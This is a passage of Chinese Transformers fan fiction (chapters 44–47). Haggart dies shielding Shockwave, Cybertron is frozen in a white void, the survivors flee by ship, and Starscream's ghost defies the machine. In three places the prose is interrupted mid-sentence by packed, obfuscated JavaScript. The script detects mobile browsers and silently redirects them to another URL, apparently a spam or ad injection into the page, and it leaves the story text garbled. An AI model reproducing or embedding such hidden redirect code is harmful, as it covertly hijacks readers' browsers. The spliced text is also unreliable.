海格特目送着几人的背影,这时四下无人,震荡波总算走过来。 “您刚才为什么站在旁边,没有直接跟他们交流?” “呃,”前议员欲言又止地抬起手,“在此之前你还是把称呼改回来,听上去很怪。” “是吗,那在我失去记忆的时候对你用尊称和敬语就不怪了?”海格特的光学镜自下而上,有些锐利地看向他,“那段时间,你玩得很开心吧?” “……” 不好,这是要算账。 “不是,那个时候我也没办法……” “那么现在又想要配合你的戏剧天赋换成什么称呼?我可以去网络数据库里找……你看这个怎么样,‘震荡波大人’?” “不行我的天先别说这个!我的火种要熄灭了,”科学家冷汗都要下来,赶紧做了个‘冷静点’的手势,“就正常叫我名字,别加别的。” “了解了。” 海格特最后看了他一眼,也没有继续。 于是震荡波稍稍松了口气:“你们刚才的计划里说让我去跟泰瑞斯特沟通,那尼昂的事情解决之后,我最好保持绝对的中立,从现在开始不要跟任何派别的人产生政治或军事上的交流,这样才有利于后续谈判。” “原来如此,不愧是政治老手,考虑得确实周到。” “……我怎么觉得你还是在讽刺我?” “不,这是真心的夸赞。” 海格特低头在自己的数据板上记录了几笔。 “另外,有时间麻烦把你在各个区域的资产、人脉、投资项目等内容都发过来吧,我需要对现状进行情报整合。” “嗯……现在我可能没有什么资产。” “据说用来救援战争地区了?” “那是一部分。” 震荡波刚想继续说具体的用途,但忽然若有所察地顿了一下,问道: “你有没有感觉不太对劲?” “嗯?” 海格特听见他的话,警戒着转身张望了一圈。 四周很安静。 汽车人正在和霸天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136471|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎在远处地方谈判,从火种状态看来,虽然有部分霸天虎满心想着继续打,但起码威震天本人还算冷静。 大战刚结束,如果他们现在主动打破平静,就会失去在尼昂建立的人望,从推翻腐朽制度的英雄变成破坏和平的恶人,霸天虎虽然声势浩大,但还没有形成足以倾覆整颗星球的气候。 从这个角度来说,哪怕其他人再怎么想继续打,起码声波还是会劝住威震天,所以不用担心。 热破正在远处的医疗坞和其他伤员一起接受治疗,无极现在也在那个地方,貌似在观察局势。救护车也来了尼昂,正在组织救治伤员。 尼昂的居民有一部分在休息,另一部分在维持秩序和排查隐患。 一切看上去都没有任何异常,起码从火种来看是这样的。 而在这个宇宙里,还没有任何已知的物质或手段能阻碍海格特看向塞伯坦人火种的视线。 所以大概是震荡波的错觉,经过刚才的事情,他的传感器出了问题,预约一个体检就好。 这样笃定地想着,海格特回过头作出汇报。 “没有什么……” ——“砰!” 突兀的爆炸声、弹/药没入机体的声音、金属破裂和摩擦的声音…… 海格特茫然地看着面前——在震荡波的腹甲侧方突兀地绽开一个巨大的口子,正在从里面冒出黑烟和能量液,而他本人也茫然地盯着前方。 过了好几秒,才后知后觉地低下头,碰了碰伤口。 “什……么?” 没有看到任何有杀意的火种,没有看到任何可能狙/击此处的塞伯坦人。 既然如此,攻击是从什么地方发出的? 海格特迅速计算了弹/道,朝着发起的方向看了一眼,但那里什么也没有。 “为什么?” 他无措地喃喃着。 究竟发生了什么?这里是现实吗?为什么自己看不见?不对,难道是某种超越奇点的技术武器?攻击者其实在很远的地方? 来不及思考更多,以那道枪/声为契机,不远处也传来战斗开始的声音。似乎那边也出现了异样,有人打了起来。 “不行…这样下去……” 震荡波死咬着牙,皱着眉靠墙缓缓坐了下去。 “我这就去联系医疗单位,然后阻止他们,”海格特立刻对他展开急救,“我会让他们全都停下来,不能让林格的牺牲白费,所以——” 震荡波忽然瞥向四周,似乎再次注意到了什么。 这个微小的动作被海格特捕捉到了,一瞬间同时被捕获的还有环境信息、能量波动、弹道…… 以及,震荡波在数秒后死亡的未来。 ——不行。 他向前扑去。 注意到海格特的意图,震荡波伸手想要阻止,但是内部液压系统被打坏的机体根本不受控制,他张开嘴,溢出的也是从管线外溢的能量液。 只能眼睁睁看着。 好不容易重新成为自己助理,好不容易消除隔阂,能再次一同迈向未来的人,一瞬间挡在身前,死死抱住了他的机体。 “砰!” 45.第四十五章 那是一个瞬间……一个漫长的瞬间。 意识回归的时候,海格特发现自己正站在空无一物的地方。 因为没有参照物,所以方向失去了意义,连该前进还是后退都不知道,只能茫然的张望四周。 连忘记了什么都一并忘记,化作纯粹空白的世界里,只有他一个人…… 试着往前走,然后,忽然间—— 有一颗陌生的火种,毫无征兆地出现在视野里。 不知道是神铸还是冷制造,大概是刚刚的某个瞬间才诞生于世的。 它的波动还很微弱,但在这几乎一片纯白的世界,只有它泛着淡蓝的光。 笑声。 周围隐约传来了温和的笑,海格特转头看去,发现是几位负责帮助火种打造原生体形态的铁匠。 他们对新火种降生这件事充满喜悦,所以都笑了出来。 被那祥和的气氛所打动,海格特也逐渐放松下来。 是啊,好像也没什么事要做,那为什么不跟着一起祝福呢? 于是他也想露出微笑,但就在这时,他很快听见了……在温暖的场面里,唯独有一个异样的声音。 起初很微弱,但当海格特屏息凝神仔细聆听时,它变得越来越响,直到哭喊声忽然刺入音频传感器—— “为什么要让我来到这里!?” 那过于痛苦的声音让海格特吓了一跳,感动而宁静的情绪瞬间被消失,他愣了一下,寻找起声音的来源。 没过多久就找到了。 因为声音的来源,正是那颗刚刚诞生的火种。 “你怎么了?” 他急忙绕开周围那些看不清面貌,仿若虚幻的人影,半跪下来,将痛苦的火种捧在手里。 是哪里出现了疾病?数据错误?要是周围有能够治疗的设施…… 这样想着,他又听见了声音。 ——“是你……你这犯下罪行的机器!” 火种崩溃地尖叫着。 ——“你分明知道,我只是一行用预先写好的CNA编码和金属组合起来的异形,来到这世上,连自己的存在意义都找不到,你就是想看我受苦吗?” “不是,绝对不是那样,”海格特连忙否认,“冷制造的问题我已经知道了,我会解决的,只要再多一点时间……” “那又有什么用?” 这次说话的是那些铁匠的虚影,他们不知何时已经悄无声息地走了过来,将海格特和新火种围在中间。 仔细一看,他们并不是铁匠,而仅仅是普通的塞伯坦人。 “难道神铸的火种就能得到幸福了?” 用听不清语气的口吻说着。 “你分明已经注视了千万年的时光,你知道在这颗星球上无论多么富足美好的乌托邦,最后都会因为一些无关紧要的想法而破灭。” “你知道无论多么幸福的日子都会在时间长河中磨灭殆尽,只留下永远的孤独。” “你也知道,总有一天我们会为了能源去掠夺,将战争烧到其他星球和文明,直到燃尽整个宇宙的最后一丝生机……” 听着这几乎无法理解的话,海格特想将头低下去,但下颌却被谁硬生生抬了起来。 “不要闭上眼,看着我,看着这颗塞伯坦人的火种!”那个声音怒吼着,“这就是你希望看到的吗!?” 手中那颗新诞生的火种、还有周围无数的火种。 那些曾经洋溢着生机的事物,自己所爱着的事物,它们全都在诅咒世界,憎恶自己的诞生。 一时间,眼前仿佛看到数百万年间的怨恨与杀戮融合在一起,形成粘稠的黑暗。 如此恐怖而异常的场面让海格特呆住了,只能不发一言,看着逐渐向自己蔓延而来的黑色。 就在这时,手里的火种又开了口: ——“你不回答,为什么?因为你想让我们继续活下去,好供你观赏吗?” “不、不是……我是真的希望你们得到幸福……” “不要再找借口了, ”周围的声音说,“比肩神明的装置,却自甘堕落成平凡的机器,你连自己都在欺骗不是吗?如果真的希望我们获得幸福,那至少让我们看到你真心爱着塞伯坦人的证据吧。” “证据?” 海格特不明所以,只能喃喃着这个词。 “拥有‘爱’的证据,希望塞伯坦人获得幸福的证据……为了证明着一切,你还有一件事能做不是吗?” “可我……不想那样。” 很多东西,没有火种的自己永远无法理解,所以他无法给出任何对方想要的证明。 但是,突然看到了什么东西。 就像获得神明的启示般,双手突然停止了颤抖。 在逐渐变得漆黑的凝固世界中,海格特恍惚地睁大了光学镜。 原来如此,原来是这样。 “那个证据”在外侧的世界是找不到的,走向永远和平的乌托邦的道路也是。 它寄宿于火种里,需要通过结束这份痛苦才会诞生,为了改变,为了重新获得生机,就必须要破坏作为世界的……器皿。 像是下定了决心,他的双手开始用力。 先是指尖,然后逐渐变成了死死攥住那颗火种的金属外壳。 它发出结构被破坏的声音,扭曲的声音,摩擦的声音,但与此同时,刺耳的诅咒声消失了,哀叹声消失了,周围虚幻的人影也消失不见,只有电流外泄般的耳鸣声占据着海格特的意识。 空茫的电子音越来越强烈,直到—— “咔嚓!” 犹如玻璃破裂的声音。 一切都安静下来。 海格特像脱力般蜷缩匍匐着,从光学镜溢出的冷凝液滴落在地,他虚弱地一下下置换着空气,而手里的火种……不,现在才发现那其实根本不是一颗火种,而是一个有着繁复装饰网格的—— 望远镜。 因林格而起,由震荡波制作的这个东西,已经被他破坏掉,金属外壳刺入掌心,粉色的能量液滴落在地,除此之外,还有一团白色的,如同火焰的“那东西”。 它漂浮到半空,又逐渐膨胀,吞噬了周围的一切,也覆盖了侵染而来的黑暗。 “终于……” 在被吞没之前,机器抬起头,稍稍露出了笑容。 “——找到了。” —— ———— 海格特死去的躯体环抱着震荡波的头雕,而他自己的头雕,已经因为挡在震荡波前面,被刚才来自未知的攻击轰去了整个上半部分。 能量液倾洒而下,这场血雨几乎将科学家的上半身都染了色。 上一秒还好好的助理突然变成这样,他的表情是一种前所未有的迷茫,虽然微微张开嘴,却发不出声音。 ——当警车赶到现场的时候,看到的就是这样一副场景。 他本是因为找不到攻击的发起点而想到向海格特求援,但对方不回消息,没想到赶过来却是面对这样的情况。 “连他也发现不了攻击的来源?”海格特应该是能再生的,这样想着,警车努力让自己维持在逻辑思维上,“究竟怎么回事?” “攻击……咳……”震荡波也回过神,挣扎地回答,“不是来自这个维度…宇宙。” 所以海格特才会看不见攻击者。 “什么意思?” 警车还想继续追问,但忽然噎住了,因为在这个时候,一件更加诡异的事情正在发生—— 海格特突然动了。 他收回抱住震荡波的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148569|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂,用那不可能再做出任何反应的机体,违背物理常理地站了起来。 然后转过身,面向朝天塔的方向,用仅剩的下半张脸,露出了一个笑容,同时,从上方伤口的断面处,逐渐溢出了一朵白色的……像是火焰,又像是雾气的东西。 当它出现的瞬间,一种前所未有的不祥感受震慑了尼昂的所有人。 无论是霸天虎还是汽车人,所有塞伯坦人的行动都停了下来。 “……跑。”震荡波说。 “什么?” 还沉浸在震撼与困惑中的警车没有听清。 “我说跑!带着能叫上的所有人一起,”科学家用尽全身的力气喊着,“告诉奥利安,PlanB启动,用跃迁技术传送到飞船里,赶紧从塞伯坦上逃走!” 忽然一阵轰炸声袭来,弹/药从天倾斜而降,朝着海格特的位置一阵精准的爆破,于是剩下的躯体也被摧毁成碎片。 “威震天大人没有传达指令,立刻停止进攻。” 隐约能听见声波试图阻止的声音,但那些霸天虎空军根本不听——并非是违抗指挥,而是彻底被生命的本能支配了行为,他于是凭借直觉,或者说凭借恐惧,意识到必须破坏那台机器而已。 “结束了?” 不知是谁问了一声。 像是要击碎这天真的想法那般,大地发出震颤和轰鸣,震荡波听见内线里传来奥利安的声音。 那个尚且不知道情况的战士正在问他的位置,“就算启动PlanB,我们也必须带上你和海格特一起”——这样坚定地说着。 听见那话语中不可动摇的信念,哪怕对方看不见,震荡波也忍不住笑了一下。 如此临危不乱的气概,要是能成为领袖,这颗星球一定会迎来前所未有的光明未来。 前提是,还有未来的话。 他扶着墙,缓缓站了起来。 “不需要,我就在这里陪着他。” “……这就是你的选择?” “当然,偶尔就让我偷个懒吧。” 震荡波说着,看向那从地下升起的巨大机器,还有遥远的天际,那艘已经开始升空的宇宙飞船。 “拜托你,奥利安·派克斯,去寻找解决办法吧……你是我们最明亮的希望。” 不知不觉,双脚已经悬空。 无论机体还是心灵,都感到一种前所未有的轻盈,仿佛挣脱了所有枷锁。 时间停止。 白色的雾气逐渐蔓延,悄然覆盖了所有的视野。 然后,“门”开了。 在一万个齿轮同时转动的声音中,震荡波闭上光学镜。 感受着这如同末日审判般,神圣肃穆的寂静。 其实还有很多话没能来得及说。 但是……海格特会理解的。 总有一天…… —— ———— 某个时刻,所有塞伯坦之外的人与设备都失去了与母星的联络,引起一阵巨大的混乱。 紧接着,所有科学卫星、监狱卫星、矿产星球、行星、以及月卫二上的人,都同时注意到了一个变化,没人看到那个变化发生的瞬间,没有任何设备检测到有迹可循的数据波动,因为那件事的发生只是一眨眼、一刹那的工夫—— 在他们的视野中,那颗充斥着伟大的机械结构,比神明更伟大的塞伯坦,此刻却变成了一颗被纯白的雾气所笼罩的地方。 幻想与现实之间出现了裂痕,在那之中,只有虚无在无限地蔓延着。 熟悉的世界已经不在这里了。 有一台机器吞噬了它,并且将一切纳为己有。 那台机器不愿意再失去任何一个人,于是将一切暂停。 然后,得到了无比宁静的空白。 46.第四十六章 “刹车,汇报当前的坐标点位。” 塞伯坦外,宇宙空间,一艘中型星际飞船上。 比起方舟那种可以直接担任战略指挥部的巨型飞船,它显得小了不止一圈,但性能同样优秀,而且对于现在船上的人数来说也足够了。 它安静地绕着塞伯坦航行,飞船内外都安静得吓人。 此时驾驶舱内,见刹车不回答,警车又重复了一遍问题: “回答我当前的坐标点位,我需要确认飞船是否真的在塞伯坦周遭。” 听到这句话,蓝色涂装的理论家有些崩溃地摸了一把自己的面甲。 “距离事情发生已经过去一整个塞星日了,而你每隔十分钟就会问我一次相同的问题。” 他咬着牙让自己不要情绪激动,压着声音说。 “比起问我,自己看看窗户外面怎么样?——月卫二还在对吧?其他矿产卫星和科学卫星也都肉眼可见,对吧?难道你宁愿觉得整个星系、除了塞伯坦之外都一瞬间遭到了量子转移,也不愿意相信塞伯坦的确被一瞬间毁灭了?相比之下至少后者在理论上还有点可能性……抱歉,我有点激动,但我也要受不了了。” 他说完调整了几个参数,将飞船设置到自动巡航模式,然后疲倦地往后靠在椅背上。 理论家的学习能力比其他人都强好几个维度,拜此所赐,不仅学会了开宇宙飞船,也意识到塞伯坦的状况是有多么不正常,所以他受到的刺激比其他人都要严重。 见状,旁边进行辅助操作飞船的充电器也只能苦笑。 “抱歉长官,但让我们冷静下好吗?” 见此情景,意识到这么呆下去也无法进行有效交流,警车转身离开。 在用圆盘装置跃迁到震荡波提前准备的飞船上之后,没有人知道到底发生了什么事,只觉得刚站稳脚跟,一抬头的功夫,就看到原本应该是塞伯坦的地方变成一片茫茫的白色。 比起星球被白色覆盖,乍一看倒像是那原本星球所在的空间被直接从宇宙里抹去了似的。 有人因此陷入恐惧,也有人只是静静地呆着,更有人不想管,无论如何,时间已经过去了一整天。 警车走出驾驶室,径直走向通讯部门。 本来是可以直接在驾驶舱就接入通讯的,但这艘船的设备还没调整好,再加上看上去已经快累得不行的刹车和充电器显然无心再管什么通讯,于是他只能选择自己过来。 推开门,探长正在一排排机器前试着频道,旁边还站着大黄蜂、铁皮、热破和奥利安。 “情况怎么样?”奥利安问警车。 “没有突破,刹车坚持判断那颗白色星球的确是塞伯坦。” “我知道了。”红蓝色涂装的队长点了下头,话语中的沉稳给在场众人一种难以言喻的安全感,“大家都想获得消息,但是探长还没能联系到塞伯坦。” “通讯还是没恢复?” “何止,所有频率波段都收不到东西,从来没发生过这种事。”探长叹了口气,“我知道你们想听见什么,但……塞伯坦没救了,就是这么回事。” 老战士的话似乎有种盖棺定论的能力,一时间,没有人再说话。 这种异常到极点的情况下,警车只能通过逻辑思维来让自己保持正常的思考。 他首先是再想了一遍当下的情况。 目前在船上的人,首先是奥利安小队成员——奥利安·派克斯、铁皮、探长、警车、大黄蜂,以及当时和他们在一起的热破、救护车,那些没参与尼昂战役的人全都留在塞伯坦了。 然后是提前被震荡波叫到飞船上,负责基础驾驶工作的刹车、充电器和开路先锋,当然驾驶的任务几乎都在刹车身上,另外两人更像是辅助。 除此之外…… 警车皱起了眉。 ——还有两个霸天虎。 他们的名字一个是死锁,一个是丧门神。 前者是因为当时在尼昂战役里受了重伤,恰好正在被救护车治疗,转移的时候被救护车输入了火种数据,另一个是刚加入霸天虎不久的丧门神,被充电器他们带过来的。 很显然,这两人都和在场的某些人有着不小的关系。 死锁还好,他仍在重伤中,暂时没有行动能力,但丧门神…… 想到他的特殊能力,警车就有一瞬间发起愁来,但他很快就想到塞伯坦已经变成这样,派别与战斗已经没有任何意义了。 于是在一种诡异的荒诞感中,他决定就这么算了。 还能怎么样呢?还有秩序存在的必要吗? 警车觉得空落落的,而就在这时,他听见大黄蜂的声音。 那个小型塞伯坦人正站在窗边往外看,他差不多是在座所有人里最年轻的一个,但说话的声音却格外平静。 “可能这样说不太好,”窗外塞伯坦的莹莹白光倒映在他的光学镜中,“但我觉得这样的星球也挺美……自从战争开始,我已经很长一段时间都没有这样踏实地看着什么东西了。” “我有同感,”说话的是铁皮,“很久没这么安静过了,就像一个假期。” 没有人说话。 一阵沉默后,热破突然举起手开口道:“我有个主意,你们跟我来。” “怎么了?” “别管那么多,先跟我来。” 在疑惑中,大黄蜂和铁皮跟着他走出了通讯部门,然后一路来到某间舱室前。 然后他按下按钮,舱门开启,大黄蜂这才看见里面是医疗坞,而救护车正在忙着接起几个基础设备。 “打扰一下,医生,”热破开口,“这里有两个精神病人觉得外面世界毁灭的样子很好看,麻烦你接收。” “听上去很糟,但那和我有什么关系,我又不是心理医生。” 救护车烦躁地嘟囔着,然而片刻后还是转过身。 铁皮已经又气又笑地说了一句“我还用不着这小子操心”,拍了拍热破的脑袋就走了,只剩下大黄蜂站在原地。 “过来吧,孩子,我帮你查查脑模块。” “我觉得我没事,医生。” 大黄蜂说着,但还是乖乖坐到了检查仪器前。 “只是觉得有点想充电了,这里有电路板吗?” “当然,检查结束你就随便找个舱室休息就行,被毁灭的不是黄矮星,收集来的能量还是很充足。”救护车说着,轻轻叹气道,“挺好的,至少你还能觉得累。” 其实他也一样,可能是精神疲惫的缘故,情感的细微之处已经被剥夺了,所以不觉得外头的场面有多恐怖。 他只是在听警车说了情况后,无论如何都无法把那个温和友善的小机器人,跟这世界末日一般的场面联系在一起罢了。 海格特究竟为什么…… 不过现在想这些也没用。救护车让自己专注于检查。那个孩子可能正处于异常状态,而处于异常状态的人无论做什么都是无法预料的,机器也是一样。 用这样的话安慰自己,但是有一件事是无法改变的。 ——他从未如此清楚地意识到,海格特不是塞伯坦人的事实。 另一边,通讯部门。 “有个好消息和一个坏消息……” 探长刚开口,就被回到那里的热破打断:“直接说吧,不要卖关子。” “啧,好吧,我收到了一个通讯请求,但不是来自塞伯坦。” “那是哪里?” “一颗科学卫星,坐标是……” 听到坐标后,奥利安思考一下,问:“能查到卫星的产权所有人吗?” “我试试看,但只能用飞船自带的内部数据库,毕竟来自塞伯坦的数据传输已经彻底中断。”探长搜索了一番,很快有了结论,“嗯,属于奥提雷克斯大学,登记人是天火。” “接通。” 在奥利安话音落下的瞬间,探长就按下了按钮。 紧接着,一声大叫就传了过来。 “哇!还有活人吗!?”那人戏剧般地喊着,“我还活着吗?世界毁灭了吗?那个讨厌的疯狂科学家震荡波现在在你们那里吗?” “……” 没有人说话,所有人都愣住了。 “我很遗憾,他在塞伯坦,没能逃出来。”最后还是奥利安先开了口。 “噢那真是太棒了,我终于得到了过去几年以来的唯一一个好消息!” “抱歉,但你是谁?” “我?我叫小诸葛,嗯……合金盾的朋友,你们或许不认识我,但应该认识他。好了不多说,我这次通讯是为了告诉你们一个不幸的消息。” 这人说话前言不搭后语,大概塞伯坦的情况让他也受了不少刺激,也可能有什么重要的人在上面没能撤离。 “我在事情发生后就发送了一组空间无人机进入塞伯坦……” “打断一下,”是感知器的声音从通讯中传来,“准确来说,你先是环卫星尖叫着飞行了三个小时,被天火打了镇静剂后才勉强停止,所以没有立刻发送无人机。” “感知器?”同为汽车人安保部门前成员的铁皮认出这个声音,“噢谢天谢地,这里至少还有科学家活着,除你之外还有多少人?都还好吗?” “我这里有千斤顶、天火、小诸葛和我自己。” “你汇报完了吗?”小诸葛语速堪称连珠炮,“把话筒给我好吗求你了求你了我的话还没说完。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157808|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……哦,抱歉。” 这家伙面对感知器的时候还挺弱势。其他人不由得这么想,然后就听见小诸葛继续道: “我派了无人机过去,有装配了隐匿图层的,有做成伪装形态的,也有在任何雷达上都找不到的那种高级货,但全都在拍到一片空白后丢失了数据,甚至连是否被摧毁的消息都没有。 另外据我所知,还有好几个外空间考察队或者商队在过去的一个塞星日内不听劝阻,坚持要赶回塞伯坦想查看情况,但无一例外——他们现在都音讯全无啦!” 在这段语气激昂的话之后,他突然又压低了声音,无比严肃地道: “所以记住了,别想回到母星上,哪怕再思乡也别自寻死路,我们必须把这件事解决掉。” —— ———— 此时,寂静的塞伯坦。 一片骇人的纯白中,有个人睁开了眼。 他先是茫然地看了一会儿天空,然后嗤笑般地嘁了一声,喃喃着“战后处理部队是螺栓口袋吗?连有人还活着都没发现?”同时从地上站起来,看向四周。 白色。 白色。 白色。 无论视野转到什么地方,都只有一片灰白——建筑仿若虚幻,塞伯坦人也是,天空和大地也是,感觉不到风的存在,但时不时地,一切都像是数据损坏的文件那般不自然地波动。 面对此情此景,他只能困惑地皱起眉,环顾了一圈,最后视线落在身后的地面上。 那里躺着的应该是一具机体,虽然失去了色彩,但还能看得出原本的形态。 机翼、推进器、头雕的形状,以及那些战争留下的伤痕与刻痕,全部都证明着一件事…… 这是一架霸天虎空中单位的机体。 ——是他自己的机体。 “等一下,什么!?” 红蜘蛛几乎是尖叫了一声,他冲过去想碰一碰自己的机体,但手却从中间穿了过去。 怎么回事? 混乱的头脑让声音都几乎发不出来,红蜘蛛——或者说红蜘蛛的幽灵,在一切都被按下暂停键的寂静世界里漫无目的地飘着,他看见道路,但所有行人和载具都不再移动,他看见商店,但所有招牌都不再闪烁,连号称哪怕外敌入侵也不会停下运作的那些能量轨道也停在原地。 连他自己也遭到了同样被白色侵染的厄运,没能逃脱,只不过不知为何灵魂还能动而已。 疯了,疯了,一切都疯了。 红蜘蛛最后停止了飘动,回到自己的机体旁边。 冷静下来后,忽然觉得有些讽刺。 自己不知道为了证明什么而忙碌了一辈子,结果却是毫无意义地死了,不仅死了,灵魂甚至无法和其他人一样得到安息。 “看来普神把我给漏了。”红蜘蛛讽刺地说着,“但愿他知道这么做的代价。” 接下来好像无事可做了,但哪怕普神也不接受,他也要想尽办法把这个世界搅得天翻地覆。 这样想着,他刚打算先去别的城市碰碰运气,就忽然听见一个声音。 “没用的,整个塞伯坦已经静止了。” “谁!?” 警惕地转过头去,却没有人。 红蜘蛛环顾四周,直到某个瞬间,在声音发出的地方看见了一个遮天蔽日的庞大物体。 那是一颗巨大的“眼睛”,正居高临下却温柔地俯视着他。 为什么刚才没注意到呢?那东西分明泛着和虚无的白色完全不同的蓝色光芒,美丽,纯粹,神圣而无瑕,在静止的世界里唯一能泛起波浪的,只有这片淡蓝…… 这种源自于异常的美丽,让红蜘蛛觉得有点恐怖。 “是这样啊,”那个声音听上去感到恍然,“你有一颗不死的火种。” 听见可以交流,红蜘蛛又鼓起勇气:“不管你是谁,把我的机体还来!” “你想回到以前的生活里,可为了什么?作为一颗冷制造火种你一直都很痛苦,我可以告诉你真实的形态,也会帮你结束这场噩梦。” “意思是,你要我听你的话,和其他人一样乖乖被杀?” “我不会杀死任何人,大家都好好活着,只是在电子的世界里不存在时间的概念,所以停下了而已。在这个世界再也不会有战争,不会有歧视和偏见,不会有人因为火种的来历而烦恼。” 海格特说着,看见红蜘蛛不知为何一点点低下头去。 “说那么多,还不是想让我听你的话?” 幽灵将眼前事态简单做出了总结,然后猛地抬起头。 直视着满眼的湛蓝,不死的自由火种尖锐地笑道: “做梦去吧!” 47.第四十七章 有几艘飞船冲向了塞伯坦。 或许是为了确认情况,又可能是打算从身份不明的敌人手里夺回母星,他们毫不犹豫地接近化为白色的大气层,甚至盲目地向星球发射了导/弹和激光。 但那些被攻击命中的地方只是有如数据干扰般地波动片刻,就又迅速复归原位,连爆炸声都没有传来。 紧接着,不等飞船调整航向,在接触大气层的一瞬间他们就被侵染捕获,那些白色的雾气像是一只举手,轻轻托举着他们到达地面。 落地时,里面的人也一并被数据化,与其说是塞伯坦人,不如说更像一些电子模型。 红蜘蛛看得很清楚,因为事情恰好就发生在他旁边不远。 哪怕是幽灵,也出于本能地往后退了一步,但就在这时,身边出现了一道由数据构成的虚幻人影。 “这是……!” “这是你本应形成的机体,”旁边巨大的眼型装置说,“是根据火种代码复原出的,神铸情况下你的形象,如果同意到我这边,你以后就能作为真正的自己存在。” “我说过不可能。”红蜘蛛猛地别过头,“真实与否由我自己决定,用不着你来定义什么是‘真正的我’。” 说实话,心里的确动摇了一瞬。 但在这里服输低头是不可能的,于是他果断拒绝了海格特的提议。 “你要是真的这么想也无妨——红蜘蛛,冷制造出身,有定期更换机体的习惯,后来加入了霸天虎,是个自私的机会主义者,虽然很聪明而且有领导才干,但被威震天的阴影所笼罩,所以在想办法取而代之。我可以让你维持这样的参数,静止在类似的电信号里,但这样真的好吗?” “你自以为很了解我是不是?还有谁说要让你静止了!” 红蜘蛛显然被激怒了,尖锐地开口。 “装成一副好人的样子,充其量只是在为了正当化自己的行为而找借口,这个无聊的、没有变化的世界,就算逃离了死亡和痛苦又怎么样?依我看比那些都要糟糕几百倍!” “嗯……你会对自身感到不满足,所以会想着在所谓的‘未来’寻求突破,这我可以理解。”海格特思考起来,“毕竟你与其他人无法协调,结果就是不断地与世界和他人产生冲突。这也是我犹豫的地方之一,我不知道是否应该让你停留在现在的状态。” 他就这么想了一会儿,巨大的眼球又轻轻动了一下,淡蓝色的光洒在周围纯白的景色中,有如万华镜般令人困惑和着迷。 “但是没关系的,既然塞伯坦已经成为不再有痛苦的乌托邦,不再有纷争和能源短缺问题,人人都能安稳地作为自己而存在,在这样一个美好的世界,你也迟早会……” “说够了没?” 红蜘蛛打断了他的话。 “如果真是这样,你为什么一直无视我的存在?” “……” 被这个突如其来的问题所震慑,机器那浅蓝色的光芒开始不稳定地闪烁。 实际上,海格特从很久之前就已经注意到了红蜘蛛的那颗冷制造火种。 但和坦然接受自身的机器狗完全相反,那颗火种充斥着因为无法自洽而带来的痛苦、扭曲和偏执,光是看上一眼,那其中暗示的罪孽就会让他无法控制地避开视线。 只要以后找到让冷制造寻找到自己真正姿态的方法就好……用这样的理由麻痹自己,他一直都在逃避,过去避开了,在霸天虎的基底见到对方的时候也避开了。 就算是现在,也在最初的注视后匆匆移开了视线。 “终于暴露真面目了?”像是发现了什么,红蜘蛛露出一个残酷而得意的笑,“好啊,你说你爱着这个世界,所以现在把它据为己有,但这种行为充其量只是缩在安全的地方做梦而已,就像你不敢面对我的火种—— 因为这会让你从梦里醒来,让你意识到不是所有人,都会在你创造的这个该死的世界里获得幸福。” —— ———— 另一边,宇宙中。 几日过去,几乎所有人的精神都到了极限状态。 刹车必须要休息充电了,通天晓接替了他的驾驶工作。 在短暂的商讨后,为了让船员不至于精神崩溃,奥利安迅速做出了几个轮岗安排。 没有选举,甚至没有经过民主投票,但众人已经将他视为飞船的领导人看待,或许是出于疲惫,没人对此提出异议,而是凭着对领导力的直觉就听了他的话。 “无论如何,我希望大家记住——我们的火种在燃烧,并非是因为我们的脚站在某颗星球上。” 就像多年前在议会的那次演讲般,此刻这个红蓝涂装的大个子也用充满勇气和坚定的语气说着鼓舞人心的,真诚的话。 “眼下塞伯坦出现了危险,我知道大家都充斥着忧虑,但正是如此艰难的时刻,我才希望大家意识到,这不是塞伯坦的末日,更不是世界的末日,只要想,我们总有一天能解决这个问题。” “如果解决不了呢?”有人问。 “那就去亲手开拓新的未来——就像千百万年前,我们最初的祖先开拓这颗星球一样,总有人会写下相同的话语,会赋予万事万物以意义。 ——我相信,没有什么会真正消失。” 话音落下,有人忍不住鼓起掌来,热破和大黄蜂更是偷偷抹了抹光学镜(当然前者并不承认)。 是的,这不是什么真正的末日,他们能做的事情还有很多。 精神稍微放松下来,就开始想要下线充电,于是在进行了房间分配后,很多人都去休息了。 在鼓励完众人的信心后,奥利安再次回到通讯部门,负责和科学卫星上的人展开联络。 光是说一些好听的话远远不够,既然被视为领导者,他就必须担起责任,为船上的所有人找到突破口。 “你好,我是飞船的临时代表,奥利安·派克斯,我认为我们需要一次会面。” “你说得对,有些事情当面说会比较清楚。”这次说话的是那边的负责人,科学家天火,“过来吧,一号港和二号港都对你们开放,我顺便还能帮你们检查一下飞船的状况,如果没猜错,你们现在没有工程师。” “多谢。” 